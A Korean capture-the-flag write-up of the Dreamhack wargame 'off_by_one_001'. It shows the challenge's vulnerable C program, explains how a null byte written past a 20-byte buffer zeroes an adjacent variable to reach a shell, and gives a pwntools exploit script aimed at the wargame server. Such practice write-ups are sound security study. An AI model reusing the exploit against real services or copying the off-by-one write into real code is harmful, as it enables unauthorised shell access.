본문 바로가기

드림핵 워게임

[드림핵/워게임] off_by_one_001

https://dreamhack.io/wargame/challenges/10

 

off_by_one_001

Description 이 문제는 서버에서 작동하고 있는 서비스(off_by_one_001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "

dreamhack.io

 

문제 파일을 다운 받으면 off_by_one_001.c와 실행 파일이 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

1. name을 입력 받는다.

2. name의 길이에 해당하는 인덱스에 '\0'을 넣는다.

3. age가 0이면 shell을 얻는다.

 

스택을 보면 name 밑에 바로 age가 있는 것을 볼 수 있다. name[20] == age인 셈인데, name을 입력할 때 20개를 입력하면 name[20]에 '\0'이 들어가면서 shell을 얻을 수 있을 것 같다.

 

이를 코드로 작성하면 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games",8725)

payload = b""
payload += b"A"*0x20

p.sendafter(b"Name: ", payload)

p.interactive()